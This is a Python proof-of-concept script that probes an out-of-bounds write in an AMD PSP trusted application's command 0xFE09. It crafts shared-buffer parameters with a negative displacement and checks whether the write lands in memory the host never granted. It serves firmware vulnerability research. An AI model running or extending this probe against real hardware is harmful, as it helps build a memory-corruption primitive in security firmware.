1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
|
#!/usr/bin/env python3
"""Can GCP FE09's out-of-bounds write reach memory the host does not own?
`fw/FINDING-GCP-FE09-CONFIGINIT-HOST-OFFSET-WRITE.md` establishes the write:
0x402f96 ADD.W R1, R7, #0x418 ; params + 1048
0x402f9c ADD.W R0, R1, R9 ; R9 = *(params+0x828), full 32-bit host value
0x402fa0 STRB.W R6, [R1,R9] ; faulting PC when the target is unmapped
Positive displacements beyond the declared window abort at 0x402fa0. The open question is the
other direction: R9 is a full 32-bit value, so a large R9 is equivalent to a NEGATIVE offset,
targeting `params - k`. If anything below the shared buffer is mapped in the TA's address space,
such a write would land in memory the host never granted -- which is the difference between a
denial of service and a corruption primitive.
Oracle per case, with a FRESH session each time so a poisoned session cannot be mistaken for a
result:
* fault dump C2PMSG 82..88 changed, with the faulting PC -> the write went unmapped
* status 0 and no fault -> THE WRITE LANDED somewhere
* ring dead -> hang
A clean status with no fault at a negative displacement is the finding. Anything that faults is
the MMU doing its job.
usage: AM_RESET=1 PYTHONPATH=/root/psp/tinygrad gcp_fe09_negative_displacement.py --apply
"""
import argparse
import os
import struct
import subprocess
import time
DECL = 0x4000 # must be >= GCP's entry gate of 0x2958; 0x2000 wedges on the first invoke
TOTAL = 0x8000
PAT = 0xA5A5A5A5
# fields that must hold these values for ConfigureInitialize to be reached at all
SEL = 0x820 # must be 1
LIMITS = [0x414, 0x818]
OFFS = [0x828, 0x82C, 0x830]
def main():
ap = argparse.ArgumentParser()
ap.add_argument('--apply', action='store_true')
ap.add_argument('--gcp', default='/root/psp/contall/ta_22-0-0-77_7c426e7f.bin')
ap.add_argument('--ta-bin', default='/lib/firmware/amdgpu/psp_13_0_0_ta.bin')
args = ap.parse_args()
if not args.apply:
print('dry run')
return 0
from tinygrad import Device
import tinygrad.runtime.autogen.am.am as am
adev = Device["AMD"].iface.dev_impl
psp = adev.psp
FAULT = [getattr(adev, 'mmMP0_SMN_C2PMSG_%d' % n) for n in range(82, 89)]
def faults():
try:
return tuple(r.read() for r in FAULT)
except Exception:
return None
def alloc(n):
pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False)
return pa, adev.paddr2mc(pa)
app_pa, app_mc = alloc(0x80000)
shm_pa, shm_mc = alloc(TOTAL)
print('shared buffer: pa=%#x mc=%#x declared=%#x' % (shm_pa, shm_mc, DECL))
def load(blob):
n = (len(blob) + 3) & ~3
adev.vram.view(app_pa, n)[:] = blob + b'\x00' * (n - len(blob))
adev.gmc.flush_hdp()
c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA)
t = c.cmd.cmd_load_ta
t.app_phy_addr_lo, t.app_phy_addr_hi = app_mc & 0xFFFFFFFF, app_mc >> 32
t.app_len = len(blob)
t.cmd_buf_phy_addr_lo, t.cmd_buf_phy_addr_hi = shm_mc & 0xFFFFFFFF, shm_mc >> 32
t.cmd_buf_len = DECL
try:
r = psp._ring_submit(c)
return r.resp.status & 0xFFFFFFFF, r.resp.session_id
except Exception as e:
try:
return int(str(e).strip().split()[-1]) & 0xFFFFFFFF, None
except Exception:
return -1, None
def unload(sid):
c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA)
c.cmd.cmd_unload_ta.session_id = sid
try:
return psp._ring_submit(c).resp.status & 0xFFFFFFFF
except Exception:
return -1
def fe09(sid, disp):
buf = bytearray(struct.pack('<I', PAT) * (TOTAL // 4))
struct.pack_into('<I', buf, 0x00, 0xFE09)
struct.pack_into('<I', buf, 0x10, 0)
for o in LIMITS:
struct.pack_into('<I', buf, o, 0xFFFFFFFB)
struct.pack_into('<I', buf, SEL, 1)
for o in OFFS:
struct.pack_into('<I', buf, o, 0)
struct.pack_into('<I', buf, 0x828, disp & 0xFFFFFFFF)
adev.vram.view(shm_pa, TOTAL)[:] = bytes(buf)
adev.gmc.flush_hdp()
c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
iv = c.cmd.cmd_invoke_cmd
iv.session_id, iv.ta_cmd_id = sid, 0xFE09
t0 = time.time()
try:
st = psp._ring_submit(c).resp.status & 0xFFFFFFFF
except Exception:
st = -1
dt = time.time() - t0
adev.gmc.flush_hdp()
return st, dt
tab = args.ta_bin
if not os.path.exists(tab) and os.path.exists(tab + '.zst'):
subprocess.run(['zstd', '-d', '-f', '-o', '/tmp/ta.bin', tab + '.zst'],
check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
tab = '/tmp/ta.bin'
d = open(tab, 'rb').read()
m = d.find(b'$PS1')
n = struct.unpack_from('<I', d, m - 0x10 + 0x14)[0]
st, wsid = load(d[m - 0x10:m - 0x10 + 0x200 + n])
if wsid is not None:
unload(wsid)
f0 = faults()
print('baseline fault regs=%s\n' % [hex(x) for x in f0], flush=True)
blob = open(args.gcp, 'rb').read()
cases = [
('in-window control, D=+0x100', 0x100),
('D = -0x1000 (one page below)', -0x1000),
]
print('%-34s %-11s %-9s %s' % ('case', 'status', 'secs', 'fault dump / verdict'))
for name, disp in cases:
st, sid = load(blob)
if st != 0 or sid is None:
print('%-34s reload failed %#x' % (name, st), flush=True)
break
st2, dt = fe09(sid, disp)
f = faults()
if st2 == -1:
# distinguish "faulted then the ring died" from "the ring died with no abort",
# which is the difference between the MMU stopping the write and the write landing
# somewhere that broke the PSP.
verdict = ('RING DEAD, fault pc=%s' % hex(f[2])) if (f and f != f0) \
else 'RING DEAD, NO FAULT (write not aborted)'
elif f != f0:
verdict = 'FAULT pc=%s (MMU stopped it)' % hex(f[2])
elif st2 == 0:
verdict = '*** WRITE LANDED, no fault ***'
else:
verdict = 'rejected by the TA (status %#x)' % st2
print('%-34s %#-11x %-9.1f %s' % (name, st2, dt, verdict), flush=True)
if st2 == -1:
break
unload(sid)
return 0
if __name__ == '__main__':
raise SystemExit(main())
|